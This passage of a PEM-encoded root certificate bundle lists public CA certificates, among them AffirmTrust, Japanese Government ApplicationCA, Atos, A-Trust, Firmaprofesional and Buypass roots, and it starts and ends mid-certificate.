Hx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yr
ba0F8PrVC8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPAL
MeIrJmqbTFeurCA+ukV6BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1
yHp52UKqK39c/s4mT6NmgTWvRLpUHhwwMmWd5jyTXlBOeuM61G7MGvv50jeuJCqr
VwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNVHQ4EFgQUnZPGU4teyq8/
nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
KoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYG
XUPGhi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNj
vbz4YYCanrHOQnDiqX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivt
Z8SOyUOyXGsViQK8YvxO8rUzqrJv0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9g
N53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0khsUlHRUe072o0EclNmsxZt9YC
nlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UE
BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
dCBOZXR3b3JraW5nMB4XDTEwMDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDEL
MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
cm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SEHi3y
YJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbua
kCNrmreIdIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRL
QESxG9fhwoXA3hA/Pe24/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp
6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gbh+0t+nvujArjqWaJGctB+d1ENmHP4ndG
yH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNVHQ4EFgQUBx/S55zawm6i
QLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
KoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfO
tDIuUFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzu
QY0x2+c06lkh1QF612S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZ
Lgo/bNjR9eUJtGxUAArgFU2HdW23WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4u
olu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9/ZFvgrG+CJPbFEfxojfHRZ48
x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UE
BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVz
dCBQcmVtaXVtMB4XDTEwMDEyOTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkG
A1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1U
cnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxBLf
qV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtnBKAQ
JG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ
+jjeRFcV5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrS
s8PhaJyJ+HoAVt70VZVs+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5
HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmdGPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d7
70O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5Rp9EixAqnOEhss/n/fauG
V+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NIS+LI+H+S
qHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S
5u046uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4Ia
C1nEWTJ3s7xgaVY5/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TX
OwF0lkLgAOIua+rF7nKsu7/+6qqo+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYE
FJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByvMiPIs0laUZx2
KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B
8OWycvpEgjNC6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQ
MKSOyARiqcTtNd56l+0OOF6SL5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc
0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK+4w1IX2COPKpVJEZNZOUbWo6xbLQ
u4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmVBtWVyuEklut89pMF
u+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFgIxpH
YoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8
GKa1qF60g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaO
RtGdFNrHF+QFlozEJLUbzxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6e
KeC2uAloGRwYQw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMC
VVMxFDASBgNVBAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQ
cmVtaXVtIEVDQzAeFw0xMDAxMjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJ
BgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1UcnVzdDEgMB4GA1UEAwwXQWZmaXJt
VHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQNMF4bFZ0D
0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQN8O9
ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0G
A1UdDgQWBBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/Vs
aobgxCd05DhT1wV/GzTjxi+zygk8N53X57hG8f2h4nECMEJZh0PUUd+60wkyWs6I
flc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKMeQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEc
MBoGA1UEChMTSmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRp
b25DQTAeFw0wNzEyMTIxNTAwMDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYT
AkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zlcm5tZW50MRYwFAYDVQQLEw1BcHBs
aWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp23gdE6H
j6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4fl+K
f5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55
IrmTwcrNwVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cw
FO5cjFW6WY2H/CPek9AEjP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDiht
QWEjdnjDuGWk81quzMKq2edY3rZ+nYVunyoKb58DKTCXKB28t89UKU5RMfkntigm
/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRUWssmP3HMlEYNllPqa0jQ
k/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNVBAYTAkpQ
MRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOC
seODvOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
ggEBADlqRHZ3ODrso2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJ
hyzjVOGjprIIC8CFqMjSnHH2HZ9g/DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+
eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYDio+nEhEMy/0/ecGc/WLuo89U
DNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmWdupwX3kSa+Sj
B1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL
rosot4LKGAfmt1t06SAZf7IbiVQ=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UE
AwwVQXRvcyBUcnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQG
EwJERTAeFw0xMTA3MDcxNDU4MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMM
FUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsGA1UECgwEQXRvczELMAkGA1UEBhMC
REUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVhTuXbyo7LjvPpvMp
Nb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr54rM
VD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+
SZFhyBH+DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ
4J7sVaE3IqKHBAUsR320HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0L
cp2AMBYHlT8oDv3FdU9T1nSatCQujgKRz3bFmx5VdJx4IbHwLfELn8LVlhgf8FQi
eowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7Rl+lwrrw7GWzbITAPBgNV
HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZbNshMBgG
A1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3
DQEBCwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8j
vZfza1zv7v1Apt+hk6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kP
DpFrdRbhIfzYJsdHt6bPWHJxfrrhTZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pc
maHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a961qn8FYiqTxlVMYVqL2Gns2D
lmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G3mB/ufNPRJLv
KrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDzzCCAregAwIBAgIDAWweMA0GCSqGSIb3DQEBBQUAMIGNMQswCQYDVQQGEwJB
VDFIMEYGA1UECgw/QS1UcnVzdCBHZXMuIGYuIFNpY2hlcmhlaXRzc3lzdGVtZSBp
bSBlbGVrdHIuIERhdGVudmVya2VociBHbWJIMRkwFwYDVQQLDBBBLVRydXN0LW5R
dWFsLTAzMRkwFwYDVQQDDBBBLVRydXN0LW5RdWFsLTAzMB4XDTA1MDgxNzIyMDAw
MFoXDTE1MDgxNzIyMDAwMFowgY0xCzAJBgNVBAYTAkFUMUgwRgYDVQQKDD9BLVRy
dXN0IEdlcy4gZi4gU2ljaGVyaGVpdHNzeXN0ZW1lIGltIGVsZWt0ci4gRGF0ZW52
ZXJrZWhyIEdtYkgxGTAXBgNVBAsMEEEtVHJ1c3QtblF1YWwtMDMxGTAXBgNVBAMM
EEEtVHJ1c3QtblF1YWwtMDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCtPWFuA/OQO8BBC4SAzewqo51ru27CQoT3URThoKgtUaNR8t4j8DRE/5TrzAUj
lUC5B3ilJfYKvUWG6Nm9wASOhURh73+nyfrBJcyFLGM/BWBzSQXgYHiVEEvc+RFZ
znF/QJuKqiTfC0Li21a8StKlDJu3Qz7dg9MmEALP6iPESU7l0+m0iKsMrmKS1GWH
2WrX9IWf5DMiJaXlyDO6w8dB3F/GaswADm0yqLaHNgBid5seHzTLkDx4iHQF63n1
k3Flyp3HaxgtPVxO59X4PzF9j4fsCiIvI+n+u33J4PTs63zEsMMtYrWacdaxaujs
2e3Vcuy+VwHOBVWf3tFgiBCzAgMBAAGjNjA0MA8GA1UdEwEB/wQFMAMBAf8wEQYD
VR0OBAoECERqlWdVeRFPMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOC
AQEAVdRU0VlIXLOThaq/Yy/kgM40ozRiPvbY7meIMQQDbwvUB/tOdQ/TLtPAF8fG
KOwGDREkDg6lXb+MshOWcdzUzg4NCmgybLlBMRmrsQd7TZjTXLDR8KdCoLXEjq/+
8T/0709GAHbrAvv5ndJAlseIOrifEXnzgGWovR/TeIGgUUw3tKZdJXDRZslo+S4R
FGjxVJgIrCaSD96JntT6s3kr0qN51OyLrIdTaEJMUVF0HhsnLuP1Hyl0Te2v9+GS
mYHovjrHF1D2t8b8m7CKa9aIA5GPBnc6hQLdmNVDeD/GMBWsm2vLV7eJUYs66MmE
DNuxUCAKGkq6ahq97BvIxYSazQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UE
BhMCRVMxQjBABgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1h
cHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEy
MzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIwQAYDVQQDDDlBdXRvcmlkYWQgZGUg
Q2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBBNjI2MzQwNjgwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDDUtd9
thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQM
cas9UX4PB99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefG
L9ItWY16Ck6WaVICqjaY7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15i
NA9wBj4gGFrO93IbJWyTdBSTo3OxDqqHECNZXyAFGUftaI6SEspd/NYrspI8IM/h
X68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyIplD9amML9ZMWGxmPsu2b
m8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctXMbScyJCy
Z/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirja
EbsXLZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/T
KI8xWVvTyQKmtFLKbpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF
6NkBiDkal4ZkQdU7hwxu+g/GvUgUvzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVh
OSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1UdEwEB/wQIMAYBAf8CAQEwDgYD
VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNHDhpkLzCBpgYD
VR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp
cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBv
ACAAZABlACAAbABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBl
AGwAbwBuAGEAIAAwADgAMAAxADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF
661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx51tkljYyGOylMnfX40S2wBEqgLk9
am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qkR71kMrv2JYSiJ0L1
ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaPT481
PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS
3a/DTg4fJl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5k
SeTy36LssUzAKh3ntLFlosS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF
3dvd6qJ2gHN99ZwExEWN57kci57q13XRcrHedUTnQn3iV2t93Jm8PYMo6oCTjcVM
ZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoRsaS8I8nkvof/uZS2+F0g
StRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTDKCOM/icz
Q0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQB
jLMi6Et8Vcad+qMUu2WFbm5PEn4KPJ2V
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEd
MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3Mg
Q2xhc3MgMiBDQSAxMB4XDTA2MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzEL
MAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MR0wGwYD
VQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7McXA0
ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLX
l18xoS830r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVB
HfCuuCkslFJgNJQ72uA40Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B
5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/RuFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3
WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0PAQH/BAQD
AgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLP
gcIV1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+
DKhQ7SLHrQVMdvvt7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKu
BctN518fV4bVIJwo+28TOPX2EZL2fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHs
h7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5wwDX3OaJdZtB7WZ+oRxKaJyOk
LY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
Q2xhc3MgMiBSb290IENBMB4XDTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1ow
TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
HgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
BQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1g1Lr
6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPV
L4O2fuPn9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC91
1K2GScuVr1QGbNgGE41b/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHx
MlAQTn/0hpPshNOOvEu/XAFOBz3cFIqUCqTqc/sLUegTBxj6DvEr0VQVfTzh97QZ
QmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeffawrbD02TTqigzXsu8lkB
arcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgIzRFo1clr
Us3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLi
FRhnBkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRS
P/TizPJhk9H9Z2vXUq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN
9SG9dKpN6nIDSdvHXx1iY8f93ZHsM+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxP
AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMmAd+BikoL1Rpzz
uvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAU18h
9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3t
OluwlN5E40EIosHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo
+fsicdl9sz1Gv7SEr5AcD48Saq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7
KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYdDnkM/crqJIByw5c/8nerQyIKx+u2
DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWDLfJ6v9r9jv6ly0Us
H8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0oyLQ
I+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK7
5t98biGCwWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h
3PFaTWwyI0PurKju7koSCTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPz
Y11aWOIv4x3kqdbQCtCev9eBCfHJxyYNrJgWVqA=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIBAjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEd
MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3Mg
Q2xhc3MgMyBDQSAxMB4XDTA1MDUwOTE0MTMwM1oXDTE1MDUwOTE0MTMwM1owSzEL
MAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MR0wGwYD
VQQDDBRCdXlwYXNzIENsYXNzIDMgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAKSO13TZKWTeXx+HgJHqTjnmGcZEC4DVC69TB4sSveZn8AKxifZg
isRbsELRwCGoy+Gb72RRtqfPFfV0gGgEkKBYouZ0plNTVUhjP5JW3SROjvi6K//z
NIqeKNc0n6wv1g/xpC+9UrJJhW05NfBEMJNGJPO251P7vGGvqaMU+8IXF4Rs4HyI
+MkcVyzwPX6UvCWThOiaAJpFBUJXgPROztmuOfbIUxAMZTpHe2DC1vqRycZxbL2R
hzyRhkmr8w+gbCZ2Xhysm3HljbybIR6c1jh+JIAVMYKWsUnTYjdbiAwKYjT+p0h+
mbEwi5A3lRyoH6UsjfRVyNvdWQrCrXig9IsCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUOBTmyPCppAP0Tj4io1vy1uCtQHQwDgYDVR0PAQH/BAQD
AgEGMA0GCSqGSIb3DQEBBQUAA4IBAQABZ6OMySU9E2NdFm/soT4JXJEVKirZgCFP
Bdy7pYmrEzMqnji3jG8CcmPHc3ceCQa6Oyh7pEfJYWsICCD8igWKH7y6xsL+z27s
EzNxZy5p+qksP2bAEllNC1QCkoS72xLvg3BweMhT+t/Gxv/ciC8HwEmdMldg0/L2
mSlf56oBzKwzqBwKu5HEA6BvtjT5htOzdlSY9EqBs1OdTUDs5XcTRa9bqh/YL0yC
e/4qxFi7T/ye/QNlGioOw6UgFpRreaaiErS7GqQjel/wroQk5PMr+4okoyeYZdow
dXb8GZHo2+ubPzK/QJcHJrrM85SFSnonk8+QQtS4Wxam58tAA915
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
Q2xhc3MgMyBSb290IENBMB4XDTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFow
TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
HgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
BQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRHsJ8Y
ZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3E
N3coTRiR5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9
tznDDgFHmV0ST9tD+leh7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX
0DJq1l1sDPGzbjniazEuOQAnFN44wOwZZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c
/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH2xc519woe2v1n/MuwU8X
